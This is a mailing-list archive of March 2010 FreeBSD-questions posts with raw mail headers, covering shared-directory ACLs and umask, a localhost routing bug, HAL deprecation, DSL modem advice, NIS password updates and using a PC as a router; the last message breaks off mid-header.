Original Message ----- > From: owner-freebsd-questions@freebsd.org > > To: freebsd-questions@freebsd.org > Sent: Mon Mar 08 06:41:03 2010 > Subject: ACLs, umask and shared directories >=20 > Hi Folks, >=20 > I need to give a group of users write access to a shared directory. = The > problem is, when one user creates a file, >=20 > www1$ touch file1 > www1$ ll > total 8 > drwxrwxr-x 2 root domain_users 512 Mar 8 03:11 . > drwxr-xr-x 4 root wheel 512 Mar 8 03:10 .. > -rw-r--r-- 1 www1 domain_users 0 Mar 8 03:11 file1 >=20 > other users can't edit it. >=20 > Solution 1 > ---------- >=20 > Change everyone's umask to 002. Unfortunately, these users are defined > in Active Directory and they're all in the same primary group - 002 is > not secure in this scenario. >=20 > Solution 2 > ---------- >=20 > Set a default ACL on the parent directory,=20 >=20 > www1$ getfacl -d . > # file: . > # owner: root > # group: domain_users > user::rwx > group::rwx > mask::rwx > other::r-x >=20 > but it doesn't have the desired effect, >=20 > www1$ touch file1 > www1$ getfacl file1 > # file: file1 > # owner: www1 > # group: domain_users > user::rw- > group::rwx # effective: r-- > mask::r-- > other::r-- >=20 > as the umask seems to override it - this was confirmed by Robert > Watson[1] in 2005. >=20 > So does anyone have a better idea? >=20 > Thanks > Rob. >=20 > [1] > http://lists.freebsd.org/pipermail/freebsd-fs/2005-October/001382.html > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" >=20 >=20 >=20 >=20 >=20 > >
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If you have > received this email in error, please immediately notify the sender by > return email and delete this email from your system." > >=20 From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 11:07:19 2010 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5C372106564A for ; Thu, 11 Mar 2010 11:07:19 +0000 (UTC) (envelope-from mail25@bzerk.org) Received: from ei.bzerk.org (tunnel490.ipv6.xs4all.nl [IPv6:2001:888:10:1ea::2]) by mx1.freebsd.org (Postfix) with ESMTP id E29C18FC1A for ; Thu, 11 Mar 2010 11:07:18 +0000 (UTC) Received: from ei.bzerk.org (BOFH@localhost [127.0.0.1]) by ei.bzerk.org (8.14.3/8.14.3) with ESMTP id o2BB775Q022983; Thu, 11 Mar 2010 12:07:07 +0100 (CET) (envelope-from mail25@bzerk.org) Received: (from bulk@localhost) by ei.bzerk.org (8.14.3/8.14.3/Submit) id o2BB77ir022982; Thu, 11 Mar 2010 12:07:07 +0100 (CET) (envelope-from mail25@bzerk.org) Date: Thu, 11 Mar 2010 12:07:07 +0100 From: Ruben de Groot To: Anton Shterenlikht Message-ID: <20100311110707.GB22647@ei.bzerk.org> References: <20100311022344.GP30257@mech-cluster241.men.bris.ac.uk> <11167f521003101834u15c8468bq3606b05b1788d967@mail.gmail.com> <20100311024735.GS30257@mech-cluster241.men.bris.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20100311024735.GS30257@mech-cluster241.men.bris.ac.uk> User-Agent: Mutt/1.4.2.3i X-Spam-Status: No, score=-4.3 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00 autolearn=ham version=3.2.5 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on ei.bzerk.org X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0.1 (ei.bzerk.org [127.0.0.1]); Thu, 11 Mar 2010 12:07:10 +0100 (CET) Cc: questions@freebsd.org Subject: Re: can't ping localhost X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 11:07:19 -0000 On Thu, Mar 11, 2010 at 02:47:35AM +0000, Anton Shterenlikht typed: > > > I believe -current has a issue where you can not ping localhost atm > > > > all my machines are current, but some are more current than others.. Why exactly are you running -current? People that do are supposed to do some investigations themselves, and if they still can't find the cause at least provide information like (in this case) routing info, ifconfig etc and what they have done to investigate, > Well, the ping issue is just an example. > My real problem is that sendmail can't send > anything locally: The real problem is the routing got busted by a bad commit. This affects both ping and sendmail (and many others). I recommend you run a -stable branch. Ruben From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 11:46:42 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 18AF51065670 for ; Thu, 11 Mar 2010 11:46:42 +0000 (UTC) (envelope-from gerard@mcom.com) Received: from imr-da06.mx.aol.com (imr-da06.mx.aol.com [205.188.169.203]) by mx1.freebsd.org (Postfix) with ESMTP id D298C8FC16 for ; Thu, 11 Mar 2010 11:46:41 +0000 (UTC) Received: from mtaout-dc02.r1001.mx.aol.com (mtaout-dc02.r1001.mx.aol.com [205.188.58.66]) by imr-da06.mx.aol.com (8.14.1/8.14.1) with ESMTP id o2BBaQkH008382 for ; Thu, 11 Mar 2010 06:36:26 -0500 Received: from scorpio.seibercom.net (c-67-189-160-65.hsd1.ny.comcast.net [67.189.160.65]) by mtaout-dc02.r1001.mx.aol.com (WebSuites/MUA Thirdparty client Interface) with ESMTPA id BAAA21C000090 for ; Thu, 11 Mar 2010 06:36:23 -0500 (EST) Date: Thu, 11 Mar 2010 06:36:23 -0500 From: Gerard To: freebsd-questions@freebsd.org Message-ID: <20100311063623.5f7089eb@scorpio.seibercom.net> Organization: seibercom.net X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.7; i386-portbld-freebsd7.3) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit x-aol-global-disposition: G X-AOL-SCOLL-SCORE: 0:2:398888928:93952408 X-AOL-SCOLL-URL_COUNT: 0 x-aol-sid: 3039cdbc3a424b98d5b710af X-AOL-IP: 67.189.160.65 Subject: Continued use of "HAL" in FreeBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 11:46:42 -0000 I have read that 'HAL' is now considered depreciated and that it is no longer being actively maintained. I have read many articles describing its short comings, etc. I even came across this URL: https://wiki.ubuntu.com/Halsectomy, while not directly connected to FreeBSD, it is interesting. I was just wondering what the FreeBSD community is doing in regards to "HAL"? Is there any work being done to replace it? From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 11:52:35 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A4A0E106564A for ; Thu, 11 Mar 2010 11:52:35 +0000 (UTC) (envelope-from matt@webcontracts.co.uk) Received: from batfink.vm.bytemark.co.uk (batfink.vm.bytemark.co.uk [80.68.95.231]) by mx1.freebsd.org (Postfix) with ESMTP id 67CE38FC31 for ; Thu, 11 Mar 2010 11:52:35 +0000 (UTC) Received: from www.webcontracts.co.uk (localhost [127.0.0.1]) by batfink.vm.bytemark.co.uk (Postfix) with ESMTP id 1EE4B64005; Thu, 11 Mar 2010 11:52:33 +0000 (GMT) Received: from 212.159.19.37 (SquirrelMail authenticated user mlaw) by www.webcontracts.co.uk with HTTP; Thu, 11 Mar 2010 11:52:34 -0000 Message-ID: In-Reply-To: <4A159FE2-3A0D-4C1C-BFDF-BC31CB8E0AA7@cooperationireland.org> References: <4A159FE2-3A0D-4C1C-BFDF-BC31CB8E0AA7@cooperationireland.org> Date: Thu, 11 Mar 2010 11:52:34 -0000 From: "Matthew Law" To: "Michael Doyle" User-Agent: SquirrelMail/1.4.19 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal Cc: FreeBSD Mailing List Subject: Re: Advice request: DSL modem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: matt@webcontracts.co.uk List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 11:52:35 -0000 Mike, I use a Draytek Vigor 120 (I'm in the UK, but it most certainly will work for you aswell). This is a self-contained ADSL modem that presents a PPPoE interface to your PC or server via a conventional RJ45 connector. It is painless and past firmware hiccups accepted, performs very well indeed. http://www.draytek.co.uk/products/vigor120.html I use it in preference to anything because it does not get you embroiled in PCI device driver support and it doesn't NAT or otherwise screw with the conenction - you get 'the internet' and nothing more. The only downside is it is not cheap. I think I paid around 50 GBP. Best regards, Matt. On Thu, March 11, 2010 10:42 am, Michael Doyle wrote: > I am looking for advice regarding DSL Modems: > > I need to add a computer to our VPN which is implemented using the > FreeBSD IPSEC protocols. > So far, all our sites are connected using a wireless point-to-point > link provided by our ISP that > gives us fixed IP addresses with no NAT issues. > > Now I need to add a site with a DSL link. My ISP will give me a fixed > IP address for this site > but can anyone recommend a DSL modem (ADSL2) that will be easy to > configure with this > setup ? (The previous model I used successfully for this purpose is no > longer available) From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 12:01:09 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5A5BE106566B for ; Thu, 11 Mar 2010 12:01:09 +0000 (UTC) (envelope-from freebsdlists@bsdunix.ch) Received: from conversation.bsdunix.ch (ns1.bsdunix.ch [82.220.1.90]) by mx1.freebsd.org (Postfix) with ESMTP id F2CE28FC32 for ; Thu, 11 Mar 2010 12:01:08 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by conversation.bsdunix.ch (Postfix) with ESMTP id 50F8D63F5 for ; Thu, 11 Mar 2010 13:01:07 +0100 (CET) X-Virus-Scanned: by amavisd-new at mail.bsdunix.ch Received: from conversation.bsdunix.ch ([127.0.0.1]) by localhost (conversation.bsdunix.ch [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 4r6s+oOYclDm for ; Thu, 11 Mar 2010 13:00:47 +0100 (CET) Received: from 192.168.1.2.local.home (dmhd.bsdunix.ch [82.220.17.25]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by conversation.bsdunix.ch (Postfix) with ESMTP id 4A11E61DF for ; Thu, 11 Mar 2010 13:00:47 +0100 (CET) Message-ID: <4B98DB6E.5080505@bsdunix.ch> Date: Thu, 11 Mar 2010 13:00:46 +0100 From: Thomas User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; de; rv:1.9.1.8) Gecko/20100227 Lightning/1.0b1 Thunderbird/3.0.3 MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Subject: NIS passwd file is never updated with new users X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 12:01:09 -0000 Hi I've configured a NIS master server as descriped in the freebsd handbook (http://www.freebsd.org/doc/handbook/network-nis.html). I removed all super and system users from master.passwd in /var/yp, chmod 600 master.passwd and initialized my NIS master server without any errors. ypcat passwd showed me a correct list with users. But the NIS password db will not be updated if i add any new user. I tried: pw useradd test1234 cd /var/yp make myusers `myusers' is up to date. My new added test1234 user is not added to/var/yp/master.passwd or /var/yp/passwd but test1234 is in /etc/passwd and /etc/master.passwd. How can i updated my NIS master.passwd? System Information: It's 7.2-RELEASE-p6 (amd64) my rc.conf for NIS: nisdomainname="myusers" nis_server_enable="YES" nis_yppasswdd_enable="YES" nis_ypxfrd_enable="YES" rpcinfo -p program vers proto port service 100000 4 tcp 111 rpcbind 100000 3 tcp 111 rpcbind 100000 2 tcp 111 rpcbind 100000 4 udp 111 rpcbind 100000 3 udp 111 rpcbind 100000 2 udp 111 rpcbind 100000 4 local 111 rpcbind 100000 3 local 111 rpcbind 100000 2 local 111 rpcbind 100024 1 udp 696 status 100024 1 tcp 697 status 100021 0 udp 751 nlockmgr 100021 0 tcp 951 nlockmgr 100021 1 udp 751 nlockmgr 100021 1 tcp 951 nlockmgr 100021 3 udp 751 nlockmgr 100021 3 tcp 951 nlockmgr 100021 4 udp 751 nlockmgr 100021 4 tcp 951 nlockmgr 100004 1 udp 671 ypserv 100004 2 udp 671 ypserv 100004 1 tcp 812 ypserv 100004 2 tcp 812 ypserv 100009 1 udp 818 yppasswdd 100009 1 tcp 602 yppasswdd 600100009 1 udp 818 600100009 1 tcp 602 100007 2 udp 878 ypbind 100007 2 tcp 917 ypbind 600100069 1 udp 694 600100069 1 tcp 674 root@host04:/var/yp# ll total 170 lrwxrwxrwx 1 root wheel 13 Feb 18 2009 Makefile -> Makefile.dist -r--r--r-- 1 root wheel 19276 Mar 10 22:42 Makefile.dist drwxr-xr-x 2 root wheel 512 Mar 11 10:55 binding -rw------- 1 root wheel 73770 Mar 11 11:45 master.passwd -rw------- 1 root wheel 69260 Mar 11 11:45 passwd -rw-r--r-- 1 root wheel 233 Mar 11 10:53 securenets drwx------ 2 root wheel 512 Mar 11 11:45 myusers -rw------- 1 root wheel 130 Mar 11 11:28 ypservers Regards, Thomas From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 12:39:57 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id BB5D8106566B for ; Thu, 11 Mar 2010 12:39:57 +0000 (UTC) (envelope-from Alexei.Volkov@softlynx.ru) Received: from softlynx.ru (softlynx.ru [95.66.187.155]) by mx1.freebsd.org (Postfix) with ESMTP id 700A88FC0A for ; Thu, 11 Mar 2010 12:39:57 +0000 (UTC) Received: from [10.149.0.62] (gw.vladimir.psbank.ru [95.66.157.3]) by softlynx.ru (Postfix) with ESMTPSA id C44EC962C0 for ; Thu, 11 Mar 2010 15:39:55 +0300 (MSK) Message-ID: <4B98E49B.3030101@softlynx.ru> Date: Thu, 11 Mar 2010 15:39:55 +0300 From: Alexei Volkov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <1268304864.6254.28.camel@ubuntu> In-Reply-To: <1268304864.6254.28.camel@ubuntu> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit Subject: Re: aoe - with freenas, openfiler X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 12:39:57 -0000 I am in business as well and looking for FreeBSD AoE support. So far no luck. I found CORAID AoE port at http://support.coraid.com/support/freebsd/ but was not able to get it run properly on FreeBSD 8. 11.03.2010 13:54, Vadkan Jozsef ŠæŠøшŠµŃ‚: > Does anybody has a link to a distro, that supports ata over ethernet, > and it's like: freenas, openfiler > > sorry for the "interesting question" :D:S > > thank you! > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 12:40:14 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A4D2C106564A for ; Thu, 11 Mar 2010 12:40:14 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from lo.gmane.org (lo.gmane.org [80.91.229.12]) by mx1.freebsd.org (Postfix) with ESMTP id 5CBAC8FC17 for ; Thu, 11 Mar 2010 12:40:14 +0000 (UTC) Received: from list by lo.gmane.org with local (Exim 4.69) (envelope-from ) id 1NphgR-00015B-Bj for freebsd-questions@freebsd.org; Thu, 11 Mar 2010 13:40:11 +0100 Received: from lara.cc.fer.hr ([161.53.72.113]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 11 Mar 2010 13:40:11 +0100 Received: from ivoras by lara.cc.fer.hr with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 11 Mar 2010 13:40:11 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-questions@freebsd.org From: Ivan Voras Date: Thu, 11 Mar 2010 13:40:06 +0100 Lines: 16 Message-ID: References: <20100311063623.5f7089eb@scorpio.seibercom.net> Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@dough.gmane.org X-Gmane-NNTP-Posting-Host: lara.cc.fer.hr User-Agent: Mozilla/5.0 (X11; U; FreeBSD amd64; en-US; rv:1.9.1.5) Gecko/20100118 Thunderbird/3.0 In-Reply-To: <20100311063623.5f7089eb@scorpio.seibercom.net> Subject: Re: Continued use of "HAL" in FreeBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 12:40:14 -0000 On 03/11/10 12:36, Gerard wrote: > I have read that 'HAL' is now considered depreciated and that it is no > longer being actively maintained. I have read many articles describing > its short comings, etc. I even came across this URL: > https://wiki.ubuntu.com/Halsectomy, while not directly connected to > FreeBSD, it is interesting. > > I was just wondering what the FreeBSD community is doing in regards to > "HAL"? Is there any work being done to replace it? As described in the Ubuntu page, FreeBSD has for a long time had mechanisms that do what HAL does, in a different way (see e.g. /etc/devd.conf). Unfortunately, it is not popular enough for the various application developers (from X.Org, Gnome, KDE) to build specific support for these. The one quality HAL has is that, while ugly, it was available on many platforms. From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 14:04:49 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C4F131065670 for ; Thu, 11 Mar 2010 14:04:49 +0000 (UTC) (envelope-from itmngr@cooperationireland.org) Received: from smtp3.irishbroadband.ie (smtp3.irishbroadband.ie [62.231.32.16]) by mx1.freebsd.org (Postfix) with ESMTP id 8178F8FC1B for ; Thu, 11 Mar 2010 14:04:49 +0000 (UTC) Received: from [62.231.53.178] (helo=mail.cooperationireland.org) by smtp3.irishbroadband.ie with esmtps (TLSv1:AES256-SHA:256) (Exim 4.67 (FreeBSD)) (envelope-from ) id 1NpjBz-0001Xs-N7; Thu, 11 Mar 2010 14:16:51 +0000 Received: from [199.107.2.100] ([199.107.2.100]) (authenticated bits=0) by mail.cooperationireland.org (8.14.4/8.14.4) with ESMTP id o2BE2cUY033065; Thu, 11 Mar 2010 14:02:38 GMT (envelope-from itmngr@cooperationireland.org) From: Michael Doyle To: matt@webcontracts.co.uk In-Reply-To: X-Priority: 3 (Normal) References: <4A159FE2-3A0D-4C1C-BFDF-BC31CB8E0AA7@cooperationireland.org> Message-Id: <4B8D6A13-227D-45CA-9DB9-6BAB3D614FCD@cooperationireland.org> Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (Apple Message framework v936) Date: Thu, 11 Mar 2010 14:04:46 +0000 X-Mailer: Apple Mail (2.936) X-Spam-Status: No, score=-1.4 required=4.0 tests=AWL,BAYES_00,RDNS_NONE autolearn=no version=3.2.5 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on mail.cooperationireland.org X-Scan-Signature: fdf78db5fd67aa5e2ef0eb72895a2f6a Cc: FreeBSD Mailing List Subject: Re: Advice request: DSL modem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 14:04:49 -0000 Thanks, that looks like EXACTLY what I need And one of my normal vendors had it in stock too. On 11 Mar 2010, at 11:52, Matthew Law wrote: > Mike, > > I use a Draytek Vigor 120 (I'm in the UK, but it most certainly will > work > for you aswell). This is a self-contained ADSL modem that presents a > PPPoE interface to your PC or server via a conventional RJ45 > connector. > It is painless and past firmware hiccups accepted, performs very well > indeed. > > http://www.draytek.co.uk/products/vigor120.html > > I use it in preference to anything because it does not get you > embroiled > in PCI device driver support and it doesn't NAT or otherwise screw > with > the conenction - you get 'the internet' and nothing more. > > The only downside is it is not cheap. I think I paid around 50 GBP. > > > Best regards, > > Matt. > > On Thu, March 11, 2010 10:42 am, Michael Doyle wrote: >> I am looking for advice regarding DSL Modems: >> >> I need to add a computer to our VPN which is implemented using the >> FreeBSD IPSEC protocols. >> So far, all our sites are connected using a wireless point-to-point >> link provided by our ISP that >> gives us fixed IP addresses with no NAT issues. >> >> Now I need to add a site with a DSL link. My ISP will give me a fixed >> IP address for this site >> but can anyone recommend a DSL modem (ADSL2) that will be easy to >> configure with this >> setup ? (The previous model I used successfully for this purpose is >> no >> longer available) From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 14:32:55 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 807E61065675 for ; Thu, 11 Mar 2010 14:32:55 +0000 (UTC) (envelope-from freebsd-questions-local@be-well.ilk.org) Received: from mail3.sea5.speakeasy.net (mail3.sea5.speakeasy.net [69.17.117.5]) by mx1.freebsd.org (Postfix) with ESMTP id 58ECF8FC1A for ; Thu, 11 Mar 2010 14:32:55 +0000 (UTC) Received: (qmail 18854 invoked from network); 11 Mar 2010 14:32:54 -0000 Received: from dsl092-078-145.bos1.dsl.speakeasy.net (HELO be-well.ilk.org) ([66.92.78.145]) (envelope-sender ) by mail3.sea5.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 11 Mar 2010 14:32:54 -0000 Received: by be-well.ilk.org (Postfix, from userid 1147) id C632550886; Thu, 11 Mar 2010 09:32:52 -0500 (EST) From: Lowell Gilbert To: mailinglist References: <93C575B79E9B01449EBBB084032BC570123208B760@mail.ucwv.edu> Date: Thu, 11 Mar 2010 09:32:52 -0500 In-Reply-To: <93C575B79E9B01449EBBB084032BC570123208B760@mail.ucwv.edu> (mailinglist@ucwv.edu's message of "Wed, 10 Mar 2010 20:36:08 -0500") Message-ID: <44ocivszcb.fsf@be-well.ilk.org> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.1 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: "freebsd-questions@freebsd.org" Subject: Re: Replacing Home Router With PC X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 14:32:55 -0000 mailinglist writes: > I've got an old Linksys router hanging off of my cable modem that is > several years old and is about to die (very poor wireless throughput > should be 54 mb and is 2, runs hot, and "buzzes" while turned on). > I've got an older PC that would great as a router....however I also > need it to be a wireless access point for my house. It has a PCI > wireless network card (A 54G Belkin, not sure of the exact model). I > know FreeBSD is technically capable for acting as my DHCP, DNS, > router, gateway box if properly configured. The question is, can it > use that wireless card to act as a access point instead of a client > (how the card is intended to be used)? > > Also, any links anyone can provide on how to setup a FreeBSD box to > act as home router/gateway would be much appreciated! Bear in mind that the added electricity costs will more than cover the cost of a new Linksys (or equivalent) router in a few months. The answer to your question, though is that FreeBSD can certainly work as a wireless access point. -- Lowell Gilbert, embedded/networking software engineer, Boston area http://be-well.ilk.org/~lowell/ From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 14:43:06 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7F41A1065672 for ; Thu, 11 Mar 2010 14:43:06 +0000 (UTC) (envelope-from laszlo_danielisz@yahoo.com) Received: from web30802.mail.mud.yahoo.com (web30802.mail.mud.yahoo.com [68.142.200.145]) by mx1.freebsd.org (Postfix) with SMTP id 3D9428FC13 for ; Thu, 11 Mar 2010 14:43:05 +0000 (UTC) Received: (qmail 50408 invoked by uid 60001); 11 Mar 2010 14:43:05 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1268318585; bh=o9RhesN/JsShDIxpuT02yqv4tP7iXCxSsK6w7fQmvig=; h=Message-ID:X-YMail-OSG:Received:X-Mailer:Date:From:Subject:To:MIME-Version:Content-Type; b=KKOZdtQgJFOtdFD88Kbe/jsuELhKJ4g4aVzWHMfmI9azEYKBur7uu2o6+QQuDvei7p/U9JDqU15FiiJrGR/fWYdOrCjs3Whiqkcj1DS0SvpFe7LKOeg7tJOdhcQVZZQhxqzOIj3ks5P4fOVQgofny/UuYkU6IxkfCwA3Dv8V+Gw= DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:X-YMail-OSG:Received:X-Mailer:Date:From:Subject:To:MIME-Version:Content-Type; b=0WIumvSOn98ntcmyWLdHQPctBIYs4FxQF+/Z78lmiibw6wN/umaNlRgPV0C2bVSiNV/TrCDDjTZiz+X9KImA354ukYY2mTojjjMnZ3WhETr5SfrqG7YSIfEn2jshniZ64JYX2Noxf4xyaN7q6iX3I18ps7tY61UMQHGINeuxlu8=; Message-ID: <585953.49328.qm@web30802.mail.mud.yahoo.com> X-YMail-OSG: DCck23sVM1m8yjdMqmdN0kebrRtCPMVvxVScSsEa3rjHgKUezf9LJRTmOxBdbcK7ATVyg3Yt2h2bLiOH6hbkY80ZrKJkSpcnOIDvXiNLHPlRW45nTxSQhTR5qmkHvbw5DFon4bnXbBbMrxpPh8zE9OR8FoEK40EIdBOf6XVt_ragpbhme54uzykWMBM5TdmQD7n7oVVI_zFl8QuUpDDtN9kHhYsTyqdyVaKHLhB0Oz3oYhqktf48PvH4Ecx9GKGbORvipSUVzK2.9kvl5fHDYdPGvdbUyhQbLnJy_s4jEyfrAHKWW8RNqkz0I9.LsEWOMyXjpSm.KYzlZ3_GeIOrXZ7GrxSJ Received: from [94.21.228.238] by web30802.mail.mud.yahoo.com via HTTP; Thu, 11 Mar 2010 06:43:05 PST X-Mailer: YahooMailRC/300.3 YahooMailWebService/0.8.100.260964 Date: Thu, 11 Mar 2010 06:43:05 -0800 (PST) From: =?iso-8859-1?Q?D=E1nielisz_L=E1szl=F3?= To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: multimon.cgi X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 14:43:06 -0000 hi,=0A=0AI'm planning to buy an APC UPS becasue FreeBSD have a nice apcupsd= daemon so I can control my system. Okay, but the thing is that apcupsd hav= e a web interface for it, the main file is called multinom.cig, I read the = manual (http://www.apcupsd.com/manual/manual.html) but I seen no reference = for FreeBSD. =0ADid any of you do this before?=0AHow?=0A=0AThanks!=0AL=E1sz= l=F3=0A=0A=0A From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 14:59:21 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 173DB106566B for ; Thu, 11 Mar 2010 14:59:21 +0000 (UTC) (envelope-from roberthuff@rcn.com) Received: from smtp02.lnh.mail.rcn.net (smtp02.lnh.mail.rcn.net [207.172.157.102]) by mx1.freebsd.org (Postfix) with ESMTP id BAD458FC19 for ; Thu, 11 Mar 2010 14:59:20 +0000 (UTC) Received: from mr08.lnh.mail.rcn.net ([207.172.157.28]) by smtp02.lnh.mail.rcn.net with ESMTP; 11 Mar 2010 09:59:19 -0500 Received: from smtp01.lnh.mail.rcn.net (smtp01.lnh.mail.rcn.net [207.172.4.11]) by mr08.lnh.mail.rcn.net (MOS 3.10.8-GA) with ESMTP id LLX71417; Thu, 11 Mar 2010 09:57:39 -0500 (EST) Received: from 209-6-91-204.c3-0.smr-ubr1.sbo-smr.ma.cable.rcn.com (HELO jerusalem.litteratus.org.litteratus.org) ([209.6.91.204]) by smtp01.lnh.mail.rcn.net with ESMTP; 11 Mar 2010 09:57:40 -0500 From: Robert Huff MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <19353.1250.790769.882792@jerusalem.litteratus.org> Date: Thu, 11 Mar 2010 09:57:38 -0500 To: =?iso-8859-1?Q?D=E1nielisz_L=E1szl=F3?= In-Reply-To: <585953.49328.qm@web30802.mail.mud.yahoo.com> References: <585953.49328.qm@web30802.mail.mud.yahoo.com> X-Mailer: VM 7.17 under 